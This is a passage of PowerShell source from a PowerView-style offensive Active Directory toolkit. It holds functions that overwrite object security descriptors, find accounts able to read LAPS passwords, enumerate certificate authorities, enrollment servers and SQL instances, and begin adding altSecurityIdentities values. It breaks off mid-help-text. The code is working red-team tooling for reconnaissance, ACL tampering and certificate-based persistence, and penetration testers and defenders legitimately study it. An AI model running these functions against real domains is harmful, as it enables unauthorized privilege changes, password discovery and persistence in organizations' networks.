Write-Verbose "[Get-DomainObjectSD] Writing object SD information to $OutFile"
|
|
$Objects | ForEach-Object { Export-Csv -InputObject $_ -Path $OutFile -Append }
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-DomainObjectSD] Unable to write $OutFile"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Set-DomainObjectSD {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the ACLs associated with a specific active directory object. By default
|
|
the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
|
Wildcards accepted.
|
|
|
|
.PARAMETER InputFile
|
|
|
|
Input file containing the SD's to be restored in the CSV format that Get-DomainObjectSD outputs.
|
|
|
|
.PARAMETER SDDLString
|
|
|
|
SDDL String to use to restore the SD for Object(s) specified by Identity.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Set-DomainObjectAcl -Identity charlie.clark -Domain testlab.local -SDDLString "O:S-1-5-21-2042794111-3163024120-2630140754-512G:S-1-5-21-2042794111-3163024120-2630140754-512D:AI(OA;;RP;4c..."
|
|
|
|
Set the SD for the charlie.clark user in the testlab.local domain to
|
|
the SD string specified by SDDLString.
|
|
|
|
.EXAMPLE
|
|
|
|
Set-DomainObjectSD -InputFile .\backup-sds.csv
|
|
|
|
Restore all of the SD's contained within the file .\backup-sds.csv.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ACL
|
|
|
|
Custom PSObject with ACL entries.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.ACL')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[String]
|
|
$InputFile,
|
|
|
|
[String]
|
|
$SDDLString,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{
|
|
'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
|
|
}
|
|
|
|
$SearcherArguments['SecurityMasks'] = 'Dacl'
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$Searcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
|
|
PROCESS {
|
|
if ($Searcher) {
|
|
$RestoreTargets = @{}
|
|
$Filter = ''
|
|
if ($PSBoundParameters['InputFile']) {
|
|
try {
|
|
Write-Verbose "[Set-DomainObjectSD] Reading provided input file: $InputFile"
|
|
Import-Csv $InputFile | ForEach-Object {
|
|
$RestoreTargets.Add($_.ObjectSID, $_.ObjectSDDL)
|
|
}
|
|
}
|
|
catch {
|
|
Write-Warning "[Set-DomainObjectSD] Unable to read $InputFile"
|
|
}
|
|
$RestoreTargets.keys | Get-IdentityFilterString | ForEach-Object {
|
|
$Filter += $_
|
|
}
|
|
}
|
|
elseif ($Identity -and $SDDLString) {
|
|
Write-Verbose "[Set-DomainObjectSD] Setting provided identities: $Identity"
|
|
$Identity | Get-IdentityFilterString | ForEach-Object {
|
|
$Filter += $_
|
|
}
|
|
}
|
|
if ($Filter) {
|
|
$Searcher.filter = "(|$Filter)"
|
|
$Results = $Searcher.FindAll()
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
$Object = $_
|
|
|
|
if ($Object.Properties.objectsid -and $Object.Properties.objectsid[0]) {
|
|
$ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.Properties.objectsid[0],0)).Value
|
|
}
|
|
else {
|
|
$ObjectSid = $Null
|
|
}
|
|
if ($PSBoundParameters['InputFile']) {
|
|
$SDDLString = $RestoreTargets.$ObjectSid
|
|
}
|
|
|
|
# Build Raw SD
|
|
Write-Verbose "[Set-DomainObjectSD] Building raw SD from SDDL string: $SDDLString"
|
|
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $SDDLString
|
|
$SDBytes = New-Object byte[] ($SD.BinaryLength)
|
|
$SD.GetBinaryForm($SDBytes, 0)
|
|
|
|
$Entry = $Object.GetDirectoryEntry()
|
|
try {
|
|
Write-Verbose "[Set-DomainObjectSD] Setting 'ntsecuritydescriptor' to '$SDBytes' for object '$($Object.Properties.samaccountname)'"
|
|
$Entry.InvokeSet('ntsecuritydescriptor', $SDBytes)
|
|
$Entry.commitchanges()
|
|
}
|
|
catch {
|
|
Write-Warning "[Set-DomainObjectSD] Error setting security descriptor for object '$($Object.Properties.samaccountname)' : $SDBytes"
|
|
Write-Warning "[Set-DomainObjectSD] Make sure you have Owner privileges"
|
|
}
|
|
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
function Get-DomainDN {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the distinguished name for the current domain or the specified domain.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainComputer
|
|
|
|
.DESCRIPTION
|
|
|
|
Returns the distinguished name for the current domain or the specified domain by executing
|
|
Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192)
|
|
to search for domain controllers through LDAP. The SID of the returned domain controller
|
|
is then extracted. Largely stolen from @harmj0y's Get-DomainSID.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainDN
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainDN -Domain testlab.local
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainDN -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
String
|
|
|
|
A string representing the specified domain distinguished name.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([String])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
$SearcherArguments = @{
|
|
'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
|
|
|
|
if ($PSBoundParameters['Domain']) {
|
|
$DomainDN = "DC=$($Domain -replace '\.',',DC=')"
|
|
}
|
|
else {
|
|
$DCDN = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty distinguishedname
|
|
|
|
if ($DCDN) {
|
|
$DomainDN = $DCDN.SubString($DCDN.IndexOf(',DC=')+1)
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-DomainDN] Error extracting domain DN for '$Domain'"
|
|
}
|
|
}
|
|
if ($DomainDN) {
|
|
$DomainDN
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-DomainDN] Error resolving domain DN for '$Domain'"
|
|
}
|
|
}
|
|
|
|
function Get-DomainLAPSReaders {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Finds accounts that can view the LAPS password for machine accounts.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
|
|
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainLAPSReaders
|
|
|
|
Returns the LAPS reader information in current domain.
|
|
#>
|
|
[OutputType([PSObject])]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('SamAccountName', 'Name', 'DNSHostName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$Searcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
|
|
PROCESS {
|
|
$Filter = ''
|
|
$ACLs = @()
|
|
if (!($Identity)) {
|
|
$Identity = (Get-DomainComputer -HasLAPS @SearcherArguments).objectsid
|
|
}
|
|
$Identity | Get-DomainObjectAcl -RightsFilter ReadLAPS @SearcherArguments | ForEach-Object {
|
|
if (!($Filter) -or ($Filter -notmatch $_.ObjectSID)) {
|
|
Write-Verbose "[Get-DomainLAPSReaders] Adding $($_.ObjectSID) to filter"
|
|
$Filter += "(objectsid=$($_.ObjectSID))"
|
|
}
|
|
if ($Filter -notmatch $_.SecurityIdentifier) {
|
|
Write-Verbose "[Get-DomainLAPSReaders] Adding $($_.SecurityIdentifier) to filter"
|
|
$Filter += "(objectsid=$($_.SecurityIdentifier))"
|
|
}
|
|
$ACLs += $_
|
|
}
|
|
if ($Filter) {
|
|
$Accounts = @()
|
|
$Searcher.filter = "(|$Filter)"
|
|
Write-Verbose "[Get-DomainLAPSReaders] Using filter: $($Searcher.filter)"
|
|
$Results = $Searcher.FindAll()
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
$Accounts += $_.Properties
|
|
}
|
|
|
|
$ACLs | ForEach-Object {
|
|
$ObjectSID = $_.ObjectSID
|
|
$PrincipalSID = $_.SecurityIdentifier
|
|
$ADRights = $_.ActiveDirectoryRights
|
|
$Object = $Accounts | ?{(New-Object System.Security.Principal.SecurityIdentifier($_.objectsid[0],0)).Value -eq $ObjectSID}
|
|
$Principal = $Accounts | ?{(New-Object System.Security.Principal.SecurityIdentifier($_.objectsid[0],0)).Value -eq $PrincipalSID}
|
|
$OutObject = New-Object PSObject
|
|
if ($Object) {
|
|
$OutObject | Add-Member "ObjectName" $Object.samaccountname[0]
|
|
$OutObject | Add-Member "ObjectType" ($Object.samaccounttype[0] -as $SamAccountTypeEnum)
|
|
}
|
|
$OutObject | Add-Member "ObjectSID" $ObjectSID
|
|
$OutObject | Add-Member "ActiveDirectoryRights" $ADRights
|
|
if ($Principal) {
|
|
$OutObject | Add-Member "PrincipalName" $Principal.samaccountname[0]
|
|
$OutObject | Add-Member "PrincipalType" ($Principal.samaccounttype[0] -as $SamAccountTypeEnum)
|
|
if ($OutObject.PrincipalType -eq 'GROUP_OBJECT' -or $OutObject.PrincipalType -eq 'ALIAS_OBJECT') {
|
|
$PrincipalMembers = @()
|
|
$Principal | Get-DomainGroupMember -Recurse @SearcherArguments | ForEach-Object {
|
|
$Member = $_
|
|
$Member
|
|
if ($Member.MemberObjectClass -ne 'group') {
|
|
$PrincipalMembers += $Member
|
|
}
|
|
}
|
|
$OutObject | Add-Member "RecursivePrincipalMembers" $PrincipalMembers
|
|
}
|
|
}
|
|
$OutObject | Add-Member "PrincipalSID" $PrincipalSID
|
|
$OutObject
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
function Get-DomainEnrollmentServers {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the certificate enrollment servers for the current domain or the specified domain.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObject, Get-DomainDN
|
|
|
|
.DESCRIPTION
|
|
|
|
Returns the certificate enrollment servers for the current domain or the specified domain by searching
|
|
CN=Configuration,[DomainDN] for (objectCategory=pKIEnrollmentService) as described in
|
|
@harmj0y and @tifkin's Certified_Pre-Owned (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf).
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainEnrollmentServers
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainEnrollmentServers -Domain testlab.local
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainEnrollmentServers -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PS Objects representing the specified domain enrollment servers.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([String])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
|
|
$DomainDN = Get-DomainDN @SearcherArguments
|
|
|
|
if ($DomainDN) {
|
|
Write-Verbose "[Get-DomainEnrollmentServers] Got domain DN: $DomainDN"
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-DomainEnrollmentServers] Error extracting domain DN for '$Domain'"
|
|
}
|
|
|
|
Get-DomainObject -SearchBase "CN=Configuration,$DomainDN" -LDAPFilter "(objectCategory=pKIEnrollmentService)" @SearcherArguments
|
|
}
|
|
|
|
function Get-DomainCACertificates {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the CA certificates for the current domain or the specified domain.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObject, Get-DomainDN
|
|
|
|
.DESCRIPTION
|
|
|
|
Returns the CA certificates for the current domain or the specified domain by searching
|
|
CN=Configuration,[DomainDN] for (objectCategory=pKIEnrollmentService) as described in
|
|
@harmj0y and @tifkin's Certified_Pre-Owned (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf).
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainCACertificates
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainCACertificates -Domain testlab.local
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainCACertificates -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PS Objects representing the specified domain CA certificates.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([String])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
|
|
$DomainDN = Get-DomainDN @SearcherArguments
|
|
|
|
if ($DomainDN) {
|
|
Write-Verbose "[Get-DomainCACertificates] Got domain DN: $DomainDN"
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-DomainCACertificates] Error extracting domain DN for '$Domain'"
|
|
}
|
|
|
|
Get-DomainObject -SearchBase "CN=Configuration,$DomainDN" -LDAPFilter "(objectCategory=certificationAuthority)" @SearcherArguments
|
|
}
|
|
|
|
function Get-DomainSQLInstances {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns a list of SQL instances for the current domain or the specified domain usable with PowerUPSQL cmdlets.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObject, Get-DomainDN
|
|
|
|
.DESCRIPTION
|
|
|
|
Returns a list of SQL instances for the current domain or the specified domain by searching
|
|
for (serviceprincipalname=MSSQLSvc*) and modifying the relevent SPNs to be directly usable with
|
|
PowerUpSQL cmdlets.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSQLInstances
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSQLInstances -Domain testlab.local
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainSQLInstances -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
Strings
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([String])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
|
|
Get-DomainObject -LDAPFilter "(serviceprincipalname=MSSQLSvc*)" @SearcherArguments | select -expand serviceprincipalname | Where-Object {
|
|
$_ -match "MSSQLSvc"
|
|
} | Foreach-Object {
|
|
($_ -split '/')[1] -replace ':',','
|
|
}
|
|
}
|
|
|
|
function Add-DomainAltSecurityIdentity {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Adds a value to the altSecurityIdentities AD attribute.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Set-DomainObject, Get-DomainDN, Get-IdentityFilterString
|
|
|
|
.DESCRIPTION
|
|
|
|
Adds a value to the altSecurityIdentites AD attribute while ensuring the current values remain the same.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
|
|
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
|
|
|
|
.PARAMETER Type
|
|
|
|
The type of identity to add (Certificate or Kerberos).
|
|
|
|
.PARAMETER Issuer
|
|
|
|
The certificate issuer, if a Certificate has been specified.
|
|
|
|
.PARAMETER Subject
|
|
|
|
The certificate subject, if a certificate has been specified.
|
|
|
|
.PARAMETER Account
|
|
|
|
The external Kerberos account to add, if Kerberos has been specified.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Add-DomainAltSecurityIdentity
|
|
|
|
.EXAMPLE
|
|
|
|
Add-DomainAltSecurityIdentity -Domain testlab.local
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
